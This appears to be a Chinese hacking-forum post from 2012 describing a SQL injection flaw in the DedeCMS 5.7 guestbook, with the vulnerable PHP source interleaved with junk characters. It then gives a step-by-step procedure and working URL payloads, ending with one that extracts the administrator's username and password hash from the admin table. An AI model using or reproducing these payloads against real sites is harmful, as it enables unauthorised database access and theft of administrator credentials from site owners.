找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3748|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
. Z2 x" A) Z/ _( x. F5 \7 |
* Y' O3 t+ y: z: x漏洞文件edit.inc.php具体代码:
4 G% }4 [6 `( v3 j7 A3 `8 M$ D2 v8 L
< ?php  7 _0 j* y$ K. M# u
$ {2 a( \6 u# l7 _5 x$ G
if(!defined('DEDEINC')) exit('Request Error!');  
# |5 V2 f' N+ T' K3 }, m0 z; E; W3 X2 ^$ l
   5 C1 G4 @% s8 H4 f+ V; ~" k

: C/ A& i$ O! \* Iif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  # U) h( \" R7 s  Q$ P( W) ^

" x+ c" H# K6 D  \& E7 delse $GUEST_BOOK_POS = "guestbook.php";  2 q7 g" n) q  `1 J7 E' _$ l

* I2 r$ T) Z4 I; Q6 p   
$ R) T+ F) w6 A% x$ w
8 |0 R9 u4 U( Z$id = intval($id);  
8 x' [* C1 N9 Y2 s5 g- W3 P8 D9 \* _
if(empty($job)) $job='view';  & B1 e" J- g8 y  k* V  a4 x# q3 F' K

. C0 s5 {, K4 x' V   % v3 Q0 v% z" O  N

# U2 X4 Z' F3 S( S& w/ g% @if($job=='del' && $g_isadmin)  4 D( N$ ]. ]: `3 h+ A

; E. `7 H! U0 G# S{  
; I) U, I8 r# i, ^$ `& J
3 _5 Q: Y  {8 H' {7 ^4 ]) r$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  * K: k* N/ F, F. y' b+ Q

# j$ a& V1 ^1 ?8 z0 D; w1 ^* \5 s1 NShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
( l* t- o$ Y3 _9 a/ Z+ j' w; p5 D# N
exit();  
# D. P' B0 {* u& Y0 W4 H5 h* P  U1 P; D/ r1 x2 K+ c
}  0 a/ M0 c  M$ c8 E6 k
# G: b0 O, A% u5 X( i* o
else if($job=='check' && $g_isadmin)  
) ^( m) ?0 k, T3 t5 C* }6 S) z" y5 T6 D7 M- J
{  + h' z% U3 y* }* O& c3 z5 z

9 [+ @% ^* @- i! I$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
8 R* q& w& d3 K" e$ |" `  R# V5 e2 L! p
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  % ]5 H+ j) a# t5 a& L; _
7 |4 {! z2 J1 b& h; [, m. h; |3 `
exit();  + u: S$ {, d* d

, n# d3 U/ b5 H' ^' T( @}  - }$ a0 s3 g' Q# \

! \0 _3 e, N( a/ `9 u# z( f5 qelse if($job=='editok')  
+ ]4 o) v6 t8 c$ t, z% r. i. X, |3 F  Y" `
{  7 w& z5 h1 r3 ^  j. h3 `
& y( i, @' T/ L6 I( _9 s
$remsg = trim($remsg);  
& {5 D" R( W0 M
; R! T2 G4 w: R( v' l5 l. Oif($remsg!='')  5 d( D1 c4 |- w& I

1 {6 `; l- y% u3 L5 m{  % q7 y4 {/ B7 Q+ F$ w

2 R; J+ y# H( Q* k//管理员回复不过滤HTML By:Errorera blog:errs.cc  / B" F) z9 _5 Y; N2 T+ x

1 ]' {4 ?8 ?* t$ iif($g_isadmin)  
/ P/ k* E4 a" ~$ o9 h7 t9 ?
; H6 U* j# z4 s{  1 {, z- _5 M5 B; Z
5 X: o4 h9 k+ o/ g7 k
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;    `9 z* m$ F0 b& c+ h
- J4 o# \+ ]# J
//$remsg <br /><font color=red>管理员回复:</font> }  . y# f& @* d: M0 @  ]- T
; @7 T0 Z( J" `+ y2 ?$ r" S
else
: N  q/ `/ a* o9 v8 S9 [
' @' S  U. ^0 ]{  
' O' O* \5 P" j$ g3 M( m+ Z/ e, E" @. a8 i* |0 M1 T
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  . d% v( [! `3 w% L2 \
2 B! }5 K- f' H
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  # k+ Z- d# \" y0 e

7 Q- I: h) K: g) m1 Z$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
; ]* y1 k0 `) O+ n+ }( }+ O, a- S! q/ J8 W( r, _
$msg = $oldmsg.$remsg;  * }6 V5 m4 i( r! s% S) q! B
2 ]" f+ |3 M! D+ O+ X
}  3 Q* }2 n  S& w4 q& C
  u( _0 _9 q/ j( E7 T7 Q
}  
7 X: l/ e& w1 [6 `1 J( V+ `, f. W! G, T
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  ' d3 v. W& {/ P0 a, p' [. ?2 o6 ~

' ~* R0 C% U) l; l7 b5 e$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  & Z: [& L& y; F: d, Q
' \$ U: }1 u. ~  F* N/ z% f( p( R* U5 o
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  + Q+ `6 r2 g+ V, f
, @' z7 q' \2 L$ b
exit();    M/ g+ S( O5 ~' p& d

* e) @+ A: g+ b. @: O% k}  
5 B' V8 f4 k: R
5 k1 K2 p1 b' |4 z$ V$ m6 d//home:www.errs.cc  
: Q+ w8 [1 k% W$ u3 a
* L4 G; v1 ?$ U1 B' t+ r8 Gif($g_isadmin)  
0 V+ A. n0 f" `% m3 U9 p8 K* @
. E( p; r7 w. m. Z{  
* m0 S. {: H4 h* @% {  I( f6 a! ^9 e4 u& ]# |8 ?; |
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
3 ~9 S" y( }  }& U+ ^1 S
) c) B7 y9 t+ T& {; B5 \require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
  [/ P6 n3 a- k4 D6 G
7 t. d, B5 R0 J; {}  $ _/ k) H" h) b7 o7 G+ ~6 C
  s/ [' N  R" _# k- |
else
8 w! p7 Y9 m/ j$ q, [- L' v- v
, N) Q3 n9 u3 K, W{  , K* C+ q* u: a) _7 z2 O

* P% v" P( C  _7 q. i2 n$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  3 B" R+ I" t% P

7 o0 A# A2 U, g% r! D5 Y' @require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  + H& f8 H  T$ @/ Y

6 V) {2 Q. F/ Y/ {& U" c} 漏洞成功需要条件:0 n& H2 w" F' q0 R& f
1. php magic_quotes_gpc=off
! C# J" w* w6 ]; a. h- m3 A2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
; a, W' ^! _/ ~5 A0 h6 c7 w- R# V) C: r3 h7 ?8 a: a
怎么判断是否存在漏洞:
5 n% C3 X2 n- s: g9 V( R1 U5 f% j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,, u9 B- q$ a$ Y1 p
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID. Z3 y0 w5 i: |' @
访问:( D2 a5 d# V/ {7 u) v

$ @* E) Q' w: p8 p8 |www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
( ]- g8 b' R" I3 w: {, o; M! K跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
, v9 B& [. z+ ~. v! H$ w: U! p9 h2 h

$ e9 E1 Z" u2 T% n: Q7 \明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
5 M7 Q, r7 {. r* T! r如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。( V7 O5 n4 x' i6 e7 I8 ]- s
那么再次访问
8 |  \$ `& \* h5 R% i  Q- |' Z; W
  d6 F0 r* T6 u& X0 ~! Xwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().8 N, z; m; N% `; a4 T+ h9 @* c
1 {/ e1 x$ r5 U5 {
大概利用就是这样,大家有兴趣的多研究下!!
- X) c, [& n! t, i$ F% m! S% z2 o# T
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
, ?/ f* ?$ H1 p1 S: ^0 A3 V1 `) @, k  p3 B
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表